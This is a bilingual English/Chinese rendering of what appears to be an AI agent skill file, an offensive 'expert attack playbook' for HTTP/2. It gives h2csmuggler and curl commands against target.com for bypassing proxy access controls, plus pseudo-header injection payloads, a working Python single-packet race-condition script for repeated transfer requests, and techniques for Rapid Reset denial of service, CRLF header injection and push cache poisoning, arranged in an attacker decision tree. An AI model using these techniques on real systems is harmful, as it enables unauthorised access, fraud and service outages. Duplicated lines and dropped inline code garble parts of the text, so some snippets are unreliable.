http2-specific-attacks
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: HTTP/2 Specific Attacks — Expert Attack Playbook
技能:HTTP/2专属攻击——专家级攻击手册
AI LOAD INSTRUCTION: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface.
AI加载说明:基础请求走私之外的HTTP/2协议层攻击技术,涵盖h2c走私、伪首部操纵、HPACK攻击、单包竞态条件以及H2→H1降级注入。基础模型会将HTTP/2走私与HTTP/1.1走私混为一谈——本技能聚焦于HTTP/2独有的攻击面。
0. RELATED ROUTING
0. 相关路由
- request-smuggling — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants
- request-smuggling/H2_SMUGGLING_VARIANTS.md — byte-level H2.CL/H2.TE payloads, CL.0, client-side desync
- race-condition — single-packet attack leverages H2 multiplexing for race conditions
- web-cache-deception — cache poisoning via H2 smuggled responses
- request-smuggling — CL.TE/TE.CL/TE.TE基础知识以及H2.CL/H2.TE变种
- request-smuggling/H2_SMUGGLING_VARIANTS.md — 字节级H2.CL/H2.TE payload、CL.0、客户端端解同步
- race-condition — 利用H2复用实现单包攻击的竞态条件
- web-cache-deception — 通过H2走私响应实现缓存投毒
1. HTTP/2 ATTACK SURFACE OVERVIEW
1. HTTP/2攻击面概览
| Feature | Attack Surface |
|---|---|
| Binary framing | Frame-level manipulation, parser differentials |
| HPACK compression | Compression oracles (CRIME/BREACH), table poisoning |
| Multiplexing | Single-packet race conditions, RST_STREAM flood |
| Server push | Cache poisoning via unsolicited push |
Pseudo-headers ( | Injection, request splitting, path discrepancy |
| 特性 | 攻击面 |
|---|---|
| 二进制帧 | 帧级别操纵、解析器差异 |
| HPACK压缩 | 压缩预言(CRIME/BREACH)、表投毒 |
| 复用 | 单包竞态条件、RST_STREAM洪水 |
| 服务端推送 | 通过非主动推送实现缓存投毒 |
伪首部( | 注入、请求拆分、路径差异 |
2. h2c (HTTP/2 CLEARTEXT) SMUGGLING
2. h2c(HTTP/2明文)走私
2.1 Concept
2.1 概念
h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 mechanism. Many reverse proxies forward the header without understanding it, allowing attackers to bypass proxy-level access controls.
UpgradeUpgrade: h2cClient ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
│
Backend speaks H2
Proxy is blind to
the H2 conversationh2c是无TLS的HTTP/2,通过HTTP/1.1 机制协商。许多反向代理会在不理解头的情况下直接转发,允许攻击者绕过代理层访问控制。
UpgradeUpgrade: h2cClient ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
│
Backend speaks H2
Proxy is blind to
the H2 conversation2.2 Attack Flow
2.2 攻击流程
1. Client sends HTTP/1.1 request with:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64 H2 settings>
Connection: Upgrade, HTTP2-Settings
2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules1. 客户端发送携带以下内容的HTTP/1.1请求:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64 H2 settings>
Connection: Upgrade, HTTP2-Settings
2. 代理转发请求(不识别h2c)
3. 后端响应:HTTP/1.1 101 Switching Protocols
4. 现在客户端和后端之间的连接切换为HTTP/2
5. 代理现在相当于TCP隧道——无法检测/过滤H2帧
6. 客户端直接向后端发送H2请求,绕过代理规则2.3 What You Can Bypass
2.3 可绕过的限制
✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
✓ Rate limiting (proxy-level rate limits bypassed)
✓ Authentication (proxy-enforced auth headers)
✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)✓ 基于路径的访问控制(/admin在代理层被拦截→可通过h2c访问)
✓ WAF规则(代理侧WAF无法检测H2二进制帧)
✓ 速率限制(绕过代理层速率限制)
✓ 身份认证(代理强制的认证头校验)
✓ IP限制(代理校验源IP,但h2c隧道可绕过)2.4 Tool: h2csmuggler
2.4 工具:h2csmuggler
bash
undefinedbash
undefinedInstall
安装
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2
Basic smuggle — access /admin bypassing proxy restrictions
基础走私——绕过代理限制访问/admin
python3 h2csmuggler.py -x https://target.com/ --test
python3 h2csmuggler.py -x https://target.com/ --test
Smuggle specific path
走私指定路径
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
With custom headers
携带自定义头
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin
-H "Authorization: Bearer token123"
-H "Authorization: Bearer token123"
undefinedpython3 h2csmuggler.py -x https://target.com/ -X GET -p /admin
-H "Authorization: Bearer token123"
-H "Authorization: Bearer token123"
undefined2.5 Detection
2.5 检测
bash
undefinedbash
undefinedCheck if backend supports h2c upgrade
检查后端是否支持h2c升级
curl -v --http1.1 https://target.com/
-H "Upgrade: h2c"
-H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
-H "Connection: Upgrade, HTTP2-Settings"
-H "Upgrade: h2c"
-H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
-H "Connection: Upgrade, HTTP2-Settings"
curl -v --http1.1 https://target.com/
-H "Upgrade: h2c"
-H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
-H "Connection: Upgrade, HTTP2-Settings"
-H "Upgrade: h2c"
-H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
-H "Connection: Upgrade, HTTP2-Settings"
101 Switching Protocols → h2c supported
返回101 Switching Protocols → 支持h2c
200/400/other → h2c not supported or proxy blocks upgrade
返回200/400/其他 → 不支持h2c或代理拦截了升级请求
---
---3. PSEUDO-HEADER INJECTION
3. 伪首部注入
3.1 HTTP/2 Pseudo-Headers
3.1 HTTP/2伪首部
HTTP/2 replaces the request line with pseudo-headers (prefixed with ):
:| Pseudo-Header | HTTP/1.1 Equivalent | Example |
|---|---|---|
| Request method | |
| Request URI | |
| Host header | |
| Protocol | |
HTTP/2使用伪首部(前缀为)替代请求行:
:| 伪首部 | 对应HTTP/1.1内容 | 示例 |
|---|---|---|
| 请求方法 | |
| 请求URI | |
| Host头 | |
| 协议 | |
3.2 Path Discrepancy Between Proxy and Backend
3.2 代理与后端的路径差异
Scenario: Proxy routes based on :path, backend uses different parsing
H2 request:
:method: GET
:path: /public/../admin/users
:authority: target.com
Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content场景:代理基于:path路由,后端使用不同的解析逻辑
H2请求:
:method: GET
:path: /public/../admin/users
:authority: target.com
代理识别为:/public/../admin/users → 匹配/public/*规则 → 允许访问
后端归一化后为:/admin/users → 返回管理员内容3.3 Duplicate Pseudo-Header Injection
3.3 重复伪首部注入
HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies:
:method: GET
:path: /public
:path: /admin ← duplicate, forbidden by spec
:authority: target.com
Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for servingHTTP/2规范禁止重复伪首部,但不同实现存在差异:
:method: GET
:path: /public
:path: /admin ← 重复,违反规范
:authority: target.com
代理可能使用第一个:path (/public) 做路由
后端可能使用最后一个:path (/admin) 处理请求3.4 Authority vs Host Disagreement
3.4 Authority与Host不一致
:authority: public.target.com ← proxy routes based on this
host: admin.internal.target.com ← backend may prefer Host header
Result: proxy routes to public vhost, backend serves admin vhost:authority: public.target.com ← 代理基于此字段路由
host: admin.internal.target.com ← 后端可能优先使用Host头
结果:代理路由到公共虚拟主机,后端返回管理员虚拟主机内容3.5 Scheme Manipulation
3.5 Scheme操纵
:scheme: https
:path: /api/internal
:authority: target.com
If backend trusts :scheme to determine if request is "internal":
:scheme: https → "external" → restricted
:scheme: http → "internal" → unrestricted access:scheme: https
:path: /api/internal
:authority: target.com
如果后端信任:scheme判断请求是否为"内部请求":
:scheme: https → "外部请求" → 受限
:scheme: http → "内部请求" → 无限制访问4. HPACK COMPRESSION ATTACKS
4. HPACK压缩攻击
4.1 CRIME/BREACH on HTTP/2
4.1 HTTP/2上的CRIME/BREACH
Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.
Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.原理:HPACK会压缩头部。如果攻击者可以控制部分头部,且同一压缩上下文中存在密钥,猜测正确时会生成更小的帧→形成预言。
限制:HPACK使用静态+动态表(不是原始DEFLATE),表是连接维度的,需要在同一连接上发起大量请求,比原始CRIME攻击难度更高。4.2 Header Table Poisoning
4.2 头部表投毒
HPACK dynamic table stores recent headers across requests on same connection.
1. Attacker sends X-Custom: malicious-value → added to dynamic table
2. Subsequent requests may reference this entry
3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakageHPACK动态表会存储同一连接上最近请求的头部。
1. 攻击者发送X-Custom: malicious-value → 被加入动态表
2. 后续请求可能引用该条目
3. 如果CDN/代理共用连接池→攻击者和受害者共享表→跨请求信息泄露5. STREAM MULTIPLEXING ABUSE
5. 流复用滥用
5.1 Single-Packet Attack (Race Conditions)
5.1 单包攻击(竞态条件)
HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, achieving true simultaneous server-side processing:
Traditional race condition: send N requests → network jitter → inconsistent timing
H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously
┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
├─ Stream 5: POST /transfer (amount=1000)
└─ Stream 7: POST /transfer (amount=1000)
All 4 requests processed at the same nanosecond windowpython
undefinedHTTP/2复用允许在单个TCP包中发送多个请求,实现真正的服务端同步处理:
传统竞态条件:发送N个请求→网络抖动→时序不一致
H2单包攻击:将N个请求打包进一个TCP段→所有请求同时到达
┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
├─ Stream 5: POST /transfer (amount=1000)
└─ Stream 7: POST /transfer (amount=1000)
所有4个请求在同一纳秒窗口内被处理python
undefinedUsing h2 library — prepare all requests, send in single write
使用h2库——准备所有请求,单次发送
import h2.connection, h2.config, socket, ssl
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
for i in range(20):
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
conn.send_data(sid, b'amount=1000', end_stream=True)
sock.sendall(conn.data_to_send()) # ALL frames in single TCP packet
undefinedimport h2.connection, h2.config, socket, ssl
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
for i in range(20):
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
conn.send_data(sid, b'amount=1000', end_stream=True)
sock.sendall(conn.data_to_send()) # 所有帧放在单个TCP包中发送
undefined5.2 RST_STREAM Flood (CVE-2023-44487 "Rapid Reset")
5.2 RST_STREAM洪水(CVE-2023-44487 "快速重置")
Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
Server processes each open/close but client doesn't wait for responses
Amplification: minimal client resources → massive server CPU exhaustion攻击:HEADERS(打开流)→ RST_STREAM(取消)→ 每秒重复数千次
服务端处理每次打开/关闭,但客户端无需等待响应
放大效果:客户端消耗极少资源→服务端CPU严重耗尽5.3 PRIORITY Manipulation
5.3 PRIORITY操纵
Set exclusive=true + weight=256 on attacker's stream → starve other users' requests将攻击者的流设置为exclusive=true + weight=256 → 挤占其他用户的请求资源6. HTTP/2 → HTTP/1.1 DOWNGRADE ISSUES
6. HTTP/2→HTTP/1.1降级问题
6.1 Header Injection via Binary Format
6.1 二进制格式导致的头部注入
H2 header values are binary — is valid data within a value. When proxy downgrades to H1, in header value becomes actual line break → header injection.
\r\n\r\nH2: X-Custom: "value\r\nInjected: evil" → binary, valid
H1: X-Custom: value → line break
Injected: evil → new header!H2头部值是二进制的——在值中是合法数据。当代理降级为H1时,头部值中的会变成实际的换行→导致头部注入。
\r\n\r\nH2: X-Custom: "value\r\nInjected: evil" → 二进制,合法
H1: X-Custom: value → 换行
Injected: evil → 新头部!6.2 Transfer-Encoding Smuggling
6.2 Transfer-Encoding走私
H2 spec forbids , but some proxies pass it through during downgrade → backend processes chunked encoding → H2.TE smuggling. See .
transfer-encoding../request-smuggling/H2_SMUGGLING_VARIANTS.mdH2规范禁止,但部分代理在降级时会透传该字段→后端处理分块编码→H2.TE走私。参考。
transfer-encoding../request-smuggling/H2_SMUGGLING_VARIANTS.md6.3 Content-Length Discrepancy
6.3 Content-Length差异
H2 uses frame length (no CL needed). If proxy generates CL during downgrade but attacker also sent a CL header → conflicting lengths → request smuggling.
H2使用帧长度(无需CL)。如果代理在降级时生成CL,但攻击者也发送了CL头→长度冲突→请求走私。
6.4 Header Name Case
6.4 头部名称大小写
H2 requires lowercase. Sending (uppercase) is invalid H2 but some proxies pass it → valid H1 header on backend.
Transfer-EncodingH2要求头部小写。发送大写的属于无效H2,但部分代理会透传→在后端变成合法H1头部。
Transfer-Encoding7. SERVER PUSH CACHE POISONING
7. 服务端推送缓存投毒
Attack: trigger server push for /static/app.js with attacker-controlled content
→ PUSH_PROMISE frame pushes malicious response
→ browser/CDN caches poisoned content under legitimate URL
→ all subsequent loads serve attacker's content
Mitigation: most modern browsers/CDNs restrict or disable server push攻击:触发服务端推送携带攻击者控制内容的/static/app.js
→ PUSH_PROMISE帧推送恶意响应
→ 浏览器/CDN将恶意内容缓存到合法URL下
→ 所有后续访问都会返回攻击者的内容
缓解方案:大多数现代浏览器/CDN限制或禁用了服务端推送8. DECISION TREE
8. 决策树
Target supports HTTP/2?
│
├── YES
│ ├── Does proxy support h2c upgrade?
│ │ ├── YES → h2c smuggling (Section 2)
│ │ │ └── Access restricted paths bypassing proxy rules
│ │ └── NO → Continue
│ │
│ ├── H2→H1 downgrade between proxy and backend?
│ │ ├── YES → Header injection via binary format (Section 6.1)
│ │ │ ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
│ │ │ ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
│ │ │ └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
│ │ └── NO (end-to-end H2) → Continue
│ │
│ ├── Need race condition?
│ │ ├── YES → Single-packet attack via multiplexing (Section 5.1)
│ │ │ └── Pack N requests in one TCP segment
│ │ └── NO → Continue
│ │
│ ├── Pseudo-header manipulation viable?
│ │ ├── :path discrepancy → path confusion (Section 3.2)
│ │ ├── :authority vs Host → vhost confusion (Section 3.4)
│ │ └── :scheme manipulation → access control bypass (Section 3.5)
│ │
│ ├── Server push enabled?
│ │ ├── YES → Cache poisoning via push (Section 7)
│ │ └── NO → Continue
│ │
│ └── DoS objective?
│ ├── RST_STREAM rapid reset (Section 5.2)
│ └── PRIORITY starvation (Section 5.3)
│
└── NO (HTTP/1.1 only)
└── See ../request-smuggling/SKILL.md for H1-specific techniques目标支持HTTP/2?
│
├── 是
│ ├── 代理支持h2c升级?
│ │ ├── 是 → h2c走私(第2节)
│ │ │ └── 绕过代理规则访问受限路径
│ │ └── 否 → 继续
│ │
│ ├── 代理和后端之间存在H2→H1降级?
│ │ ├── 是 → 二进制格式导致的头部注入(第6.1节)
│ │ │ ├── 透传TE头? → H2.TE走私(第6.2节)
│ │ │ ├── CL差异? → H2.CL走私(第6.3节)
│ │ │ └── 参考../request-smuggling/H2_SMUGGLING_VARIANTS.md
│ │ └── 否(端到端H2)→ 继续
│ │
│ ├── 需要实现竞态条件?
│ │ ├── 是 → 通过复用实现单包攻击(第5.1节)
│ │ │ └── 将N个请求打包进单个TCP段
│ │ └── 否 → 继续
│ │
│ ├── 伪首部操纵可行?
│ │ ├── :path差异 → 路径混淆(第3.2节)
│ │ ├── :authority与Host差异 → 虚拟主机混淆(第3.4节)
│ │ └── :scheme操纵 → 绕过访问控制(第3.5节)
│ │
│ ├── 启用了服务端推送?
│ │ ├── 是 → 通过推送实现缓存投毒(第7节)
│ │ └── 否 → 继续
│ │
│ └── 目标是DoS?
│ ├── RST_STREAM快速重置(第5.2节)
│ └── PRIORITY资源挤占(第5.3节)
│
└── 否(仅支持HTTP/1.1)
└── 参考../request-smuggling/SKILL.md获取H1专属技术9. TOOLS REFERENCE
9. 工具参考
| Tool | Purpose |
|---|---|
| h2csmuggler | h2c upgrade smuggling (github.com/BishopFox/h2csmuggler) |
| http2smugl | H2-specific desync testing (github.com/neex/http2smugl) |
| h2 (Python) | HTTP/2 protocol lib for frame crafting (github.com/python-hyper/h2) |
| nghttp2 | H2 client/server tools (nghttp2.org) |
| Burp HTTP Request Smuggler | Automated variant scanning |
| curl --http2 | Quick H2 probing (built-in) |
| 工具 | 用途 |
|---|---|
| h2csmuggler | h2c升级走私(github.com/BishopFox/h2csmuggler) |
| http2smugl | H2专属解同步测试(github.com/neex/http2smugl) |
| h2 (Python) | 用于构造帧的HTTP/2协议库(github.com/python-hyper/h2) |
| nghttp2 | H2客户端/服务端工具(nghttp2.org) |
| Burp HTTP Request Smuggler | 自动化变种扫描 |
| curl --http2 | 快速H2探测(内置) |
10. QUICK REFERENCE
10. 快速参考
bash
undefinedbash
undefinedh2c probe
h2c探测
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
H2 support check
H2支持检查
curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"
undefinedcurl -v --http2 https://target.com/ 2>&1 | grep "ALPN"
undefined